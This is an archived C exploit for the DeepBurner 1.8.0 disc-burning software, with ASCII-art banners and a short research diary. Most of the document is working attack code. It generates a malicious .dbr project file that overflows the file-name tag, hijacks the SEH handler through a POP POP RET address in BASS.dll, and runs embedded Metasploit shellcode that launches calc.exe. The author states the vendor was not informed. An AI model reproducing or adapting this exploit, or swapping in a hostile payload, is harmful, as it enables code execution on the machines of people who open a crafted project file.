AstonSoft DeepBurner 1.8.0 - '.dbr' File Parsing Buffer Overflow

/*
       _______         ________           .__        _____          __
___  __\   _  \   ____ \_____  \          |  |__    /  |  |   ____ |  | __
\  \/  /  /_\  \ /    \  _(__  <   ______ |  |  \  /   |  |__/ ___\|  |/ /
 >    <\  \_/   \   |  \/       \ /_____/ |   Y  \/    ^   /\  \___|    <
/__/\_ \\_____  /___|  /______  /         |___|  /\____   |  \___  >__|_ \
      \/      \/     \/       \/   18\12\06    \/      |__|      \/     \/
      
 *   mm.           dM8
 *  YMMMb.       dMM8      _____________________________________
 *   YMMMMb     dMMM'     [                                     ]
 *    `YMMMb   dMMMP      [ There are doors I have yet to open  ]
 *      `YMMM  MMM'       [ windows I have yet to look through  ]
 *         "MbdMP         [ Going forward may not be the answer ]
 *     .dMMMMMM.P         [                                     ]
 *    dMM  MMMMMM         [       maybe I should go back        ]
 *    8MMMMMMMMMMI        [_____________________________________]
 *     YMMMMMMMMM                   www.netbunny.org
 *       "MMMMMMP              [Happy holidays to everybody]
 *      MxM .mmm
 *      W"W """

[i] Title:              DeepBurner <= 1.8.0 dbr parsing remote buffer overflow
[i] Discovered by:      Expanders
[i] Exploit by:         Expanders  -  expanders [aaat] gmail [dooot] com
[i] References:         http://www.deepburner.com/
[i] Greatings:          x0n3-h4ck - netbunny

[ Research diary ]

Another classical buffer overflow. This time is located in the "file name" tag of the dbr file.
if we supply more than 272 bytes of buffer we can trigger an access violation
and we can overwrite SEH handler. After that stack get a little bit corrupted, btw nothing that a tricky jmpover
cannot avoid :)

[ Timeline ]

Vendor hasn't been informed. Damned greyhats!

[ Notes ]

RETcode type: POP REG, POP REG, RET
To improve realiability you can search your own RETcodes..

[ Special Thanks ]

H D Moore
Greg Linares  <---  You're awesome man!


[ Links ]

www.x0n3-h4ck.org
www.netbunny.org



*/



#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>

// Exploit internals, change only if you know what you are doing
#define BUFFSIZE 1000

// Offsets
#define SEH_OFFSET       272

int banner();
int usage(char *filename);

unsigned char header[] =
        "\x3C\x44\x65\x65\x70\x42\x75\x72\x6E\x65\x72\x5F\x72\x65\x63\x6F"
        "\x72\x64\x20\x76\x65\x72\x3D\x22\x31\x2E\x38\x2E\x30\x2E\x32\x32" 
        "\x34\x22\x20\x74\x79\x70\x65\x3D\x22\x64\x61\x74\x61\x22\x3E\x0D" 
        "\x0A\x20\x20\x20\x20\x3C\x64\x61\x74\x61\x5F\x63\x64\x20\x76\x65" 
        "\x72\x3D\x22\x31\x22\x20\x64\x65\x76\x69\x63\x65\x3D\x22\x22\x20" 
        "\x73\x65\x73\x73\x69\x6F\x6E\x32\x69\x6D\x70\x6F\x72\x74\x3D\x22" 
        "\x30\x22\x20\x66\x69\x6E\x61\x6C\x69\x7A\x65\x5F\x64\x69\x73\x63" 
        "\x3D\x22\x31\x22\x20\x66\x69\x6E\x61\x6C\x69\x7A\x65\x5F\x74\x72" 
        "\x61\x63\x6B\x3D\x22\x31\x22\x20\x62\x6F\x6F\x74\x61\x62\x6C\x65" 
        "\x3D\x22\x30\x22\x20\x62\x6F\x6F\x74\x5F\x69\x6D\x61\x67\x65\x5F" 
        "\x70\x61\x74\x68\x3D\x22\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20" 
        "\x20\x20\x3C\x64\x69\x72\x20\x6E\x61\x6D\x65\x3D\x22\x43\x44\x52" 
        "\x6F\x6F\x74\x22\x20\x69\x6D\x70\x3D\x22\x30\x22\x3E\x0D\x0A\x20" 
        "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65" 
        "\x20\x6E\x61\x6D\x65\x3D\x22\x74\x65\x73\x74\x2E\x74\x78\x74\x22" 
        "\x20\x70\x61\x74\x68\x3D\x22";


unsigned char footer[] =
        "\x22\x20\x69\x6D\x70\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
        "\x20\x20\x20\x20\x20\x20\x3C\x2F\x64\x69\x72\x3E\x0D\x0A\x20\x20"
        "\x20\x20\x3C\x2F\x64\x61\x74\x61\x5F\x63\x64\x3E\x0D\x0A\x20\x20"
        "\x20\x20\x3C\x63\x64\x5F\x6C\x61\x62\x65\x6C\x20\x76\x65\x72\x3D"
        "\x22\x31\x22\x20\x7A\x6F\x6F\x6D\x3D\x22\x30\x22\x20\x76\x69\x65"
        "\x77\x3D\x22\x6C\x61\x62\x65\x6C\x22\x20\x6C\x61\x79\x6F\x75\x74"
        "\x3D\x22\x73\x74\x61\x6E\x64\x61\x72\x74\x22\x3E\x0D\x0A\x20\x20"
        "\x20\x20\x20\x20\x20\x20\x3C\x6C\x61\x62\x65\x6C\x20\x2F\x3E\x0D"
        "\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x72\x6F\x6E\x74\x20"
        "\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x61\x63"
        "\x6B\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x2F\x63\x64\x5F\x6C"
        "\x61\x62\x65\x6C\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x61\x75\x74\x6F"
        "\x72\x75\x6E\x20\x76\x65\x72\x3D\x22\x31\x22\x20\x75\x73\x65\x3D"
        "\x22\x30\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6D"
        "\x61\x69\x6E\x20\x6E\x61\x6D\x65\x3D\x22\x4D\x61\x69\x6E\x46\x6F"
        "\x72\x6D\x22\x20\x69\x6D\x61\x67\x65\x5F\x70\x61\x74\x68\x3D\x22"
        "\x22\x20\x68\x69\x6E\x74\x3D\x22\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
        "\x20\x20\x20\x20\x20\x20\x3C\x74\x69\x74\x6C\x65\x20\x6E\x61\x6D"
        "\x65\x3D\x22\x54\x69\x74\x6C\x65\x22\x20\x74\x65\x78\x74\x3D\x22"
        "\x54\x69\x74\x6C\x65\x22\x20\x68\x69\x6E\x74\x3D\x22\x54\x69\x74"
        "\x6C\x65\x20\x62\x6F\x78\x22\x20\x6C\x65\x66\x74\x3D\x22\x31\x34"
        "\x34\x22\x20\x74\x6F\x70\x3D\x22\x34\x38\x22\x20\x77\x69\x64\x74"
        "\x68\x3D\x22\x35\x37\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x33"
        "\x33\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D\x22\x54\x69\x6D"
        "\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x22\x20\x66\x6F"
        "\x6E\x74\x73\x69\x7A\x65\x3D\x22\x32\x30\x22\x20\x66\x6F\x6E\x74"
        "\x63\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20\x76\x69\x73\x69"
        "\x62\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74\x73\x74\x79\x6C"
        "\x65\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20"
        "\x20\x20\x3C\x63\x6F\x6D\x6D\x65\x6E\x74\x20\x6E\x61\x6D\x65\x3D"
        "\x22\x43\x6F\x6D\x6D\x65\x6E\x74\x73\x22\x20\x74\x65\x78\x74\x3D"
        "\x22\x43\x6F\x6D\x6D\x65\x6E\x74\x22\x20\x68\x69\x6E\x74\x3D\x22"
        "\x43\x6F\x6D\x6D\x65\x6E\x74\x20\x62\x6F\x78\x22\x20\x6C\x65\x66"
        "\x74\x3D\x22\x34\x30\x22\x20\x74\x6F\x70\x3D\x22\x37\x36\x22\x20"
        "\x77\x69\x64\x74\x68\x3D\x22\x38\x39\x22\x20\x68\x65\x69\x67\x68"
        "\x74\x3D\x22\x32\x39\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D"
        "\x22\x54\x69\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E"
        "\x22\x20\x66\x6F\x6E\x74\x73\x69\x7A\x65\x3D\x22\x31\x35\x22\x20"
        "\x66\x6F\x6E\x74\x63\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20"
        "\x76\x69\x73\x69\x62\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74"
        "\x73\x74\x79\x6C\x65\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
        "\x20\x20\x20\x20\x20\x20\x3C\x65\x78\x69\x74\x62\x75\x74\x74\x6F"
        "\x6E\x20\x6E\x61\x6D\x65\x3D\x22\x42\x75\x74\x74\x6F\x6E\x45\x78"
        "\x69\x74\x22\x20\x69\x6D\x61\x67\x65\x5F\x70\x61\x74\x68\x3D\x22"
        "\x22\x20\x69\x6D\x61\x67\x65\x5F\x64\x6F\x77\x6E\x5F\x70\x61\x74"
        "\x68\x3D\x22\x22\x20\x74\x65\x78\x74\x3D\x22\x45\x78\x69\x74\x22"
        "\x20\x68\x69\x6E\x74\x3D\x22\x45\x78\x69\x74\x20\x74\x68\x69\x73"
        "\x20\x70\x72\x6F\x67\x72\x61\x6D\x22\x20\x6C\x65\x66\x74\x3D\x22"
        "\x31\x32\x30\x22\x20\x74\x6F\x70\x3D\x22\x39\x36\x22\x20\x77\x69"
        "\x64\x74\x68\x3D\x22\x37\x35\x22\x20\x68\x65\x69\x67\x68\x74\x3D"
        "\x22\x32\x35\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D\x22\x4D"
        "\x53\x20\x53\x61\x6E\x73\x20\x53\x65\x72\x69\x66\x22\x20\x66\x6F"
        "\x6E\x74\x73\x69\x7A\x65\x3D\x22\x38\x22\x20\x66\x6F\x6E\x74\x63"
        "\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20\x76\x69\x73\x69\x62"
        "\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74\x73\x74\x79\x6C\x65"
        "\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x2F\x61"
        "\x75\x74\x6F\x72\x75\x6E\x3E\x0D\x0A\x3C\x2F\x44\x65\x65\x70\x42"
        "\x75\x72\x6E\x65\x72\x5F\x72\x65\x63\x6F\x72\x64\x3E\x0D\x0A";



/* win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
/* Known badchars: 0x00 0x3c 0x3e 0x0a 0x0d 0x22 0x2F */
unsigned char shellcode[] =
        "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08"
        "\x6b\x48\x82\x83\xeb\xfc\xe2\xf4\xf4\x83\x0c\x82\x08\x6b\xc3\xc7"
        "\x34\xe0\x34\x87\x70\x6a\xa7\x09\x47\x73\xc3\xdd\x28\x6a\xa3\xcb"
        "\x83\x5f\xc3\x83\xe6\x5a\x88\x1b\xa4\xef\x88\xf6\x0f\xaa\x82\x8f"
        "\x09\xa9\xa3\x76\x33\x3f\x6c\x86\x7d\x8e\xc3\xdd\x2c\x6a\xa3\xe4"
        "\x83\x67\x03\x09\x57\x77\x49\x69\x83\x77\xc3\x83\xe3\xe2\x14\xa6"
        "\x0c\xa8\x79\x42\x6c\xe0\x08\xb2\x8d\xab\x30\x8e\x83\x2b\x44\x09"
        "\x78\x77\xe5\x09\x60\x63\xa3\x8b\x83\xeb\xf8\x82\x08\x6b\xc3\xea"
        "\x34\x34\x79\x74\x68\x3d\xc1\x7a\x8b\xab\x33\xd2\x60\x9b\xc2\x86"
        "\x57\x03\xd0\x7c\x82\x65\x1f\x7d\xef\x08\x29\xee\x6b\x45\x2d\xfa"
        "\x6d\x6b\x48\x82";

/* Jmp 0x40 bytes over to avoid corruption */
unsigned char jmpover[] =
        "\xeb\x40\x90\x90";

struct retcodes{char *platform;unsigned long addr;} targets[]= {
        { "DeepBurner 1.8.0",  0x10017928 },   // BASS.dll pop ecx, pop ecx, ret
	{ "Crash - Testing" ,  0xbadc0ded },
};

int banner() {
  printf("\n       _______         ________           .__        _____          __     \n");
  printf("___  __\\   _  \\   ____ \\_____  \\          |  |__    /  |  |   ____ |  | __ \n");
  printf("\\  \\/  /  /_\\  \\ /    \\  _(__  <   ______ |  |  \\  /   |  |__/ ___\\|  |/ / \n");
  printf(" >    <\\  \\_/   \\   |  \\/       \\ /_____/ |   Y  \\/    ^   /\\  \\___|    <  \n");
  printf("/__/\\_ \\\\_____  /___|  /______  /         |___|  /\\____   |  \\___  >__|_ \\ \n");
  printf("      \\/      \\/     \\/       \\/               \\/      |__|      \\/     \\/ \n\n");
  printf("[i] Title:        \tDeepBurner <= 1.8.0 dbr compilation Buffer overflow\n");
  printf("[i] Discovered by:\tExpanders\n");
  printf("[i] Exploit by:   \tExpanders\n\n");
  return 0;
}

int usage(char *filename) {
  int i;
  printf("Usage: \t%s <filename> <targ>\n\n",filename);
  printf("       \t<filename>    : Output filename\n");
  printf("       \t<targ>        : Target from the list below\n\n");
  printf("Ex:    \t%s exploit.dbr 0\n\n",filename);
  
  printf("#   \t Platform\n");
  printf("-----------------------------------------------\n");
  for(i = 0; targets[i].platform; i++)
        printf("%d \t %s\n",i,targets[i].platform);
  printf("-----------------------------------------------\n");
  exit(0);
}


int main(int argc, char *argv[]) {
    FILE *output;
    int position;
    char *buffer;
    banner();
    if( argc != 3 )
        usage(argv[0]);
    printf("[+] Target is: %s\n",targets[atoi(argv[2])].platform);
    printf("[+] Creating evil buffer...");
    fflush(stdout);
    buffer = (char *) malloc(BUFFSIZE);
    position = 0;
    memset(buffer,0x41,BUFFSIZE);
    memset(buffer,0x41,SEH_OFFSET); position += SEH_OFFSET;
    memcpy(buffer+position,jmpover,4); position += 4;
    memcpy(buffer+position,&targets[atoi(argv[2])].addr,4); position += 4;
    memset(buffer+position,0x90,0x40); position += 0x40; // shift 0x40 bytes ahead to avoid corruption
    memcpy(buffer+position,shellcode,strlen(shellcode)); position += strlen(shellcode);
    memset(buffer+position,0x00,1);
    printf("done\n");
    printf("[+] Opening file...");
    fflush(stdout);
    if(!(output = fopen(argv[1],"w"))) {
        fprintf(stderr,"error\n");
        return 1;
    }
    printf("done\n");
    printf("[+] Writing stuff into the file\n");
    fprintf(output,"%s%s%s",header,buffer,footer);
    printf("[+] Done! %s created!\n",argv[1]);
    fclose(output);
    free(buffer);
    return 0;
}

// milw0rm.com [2006-12-19]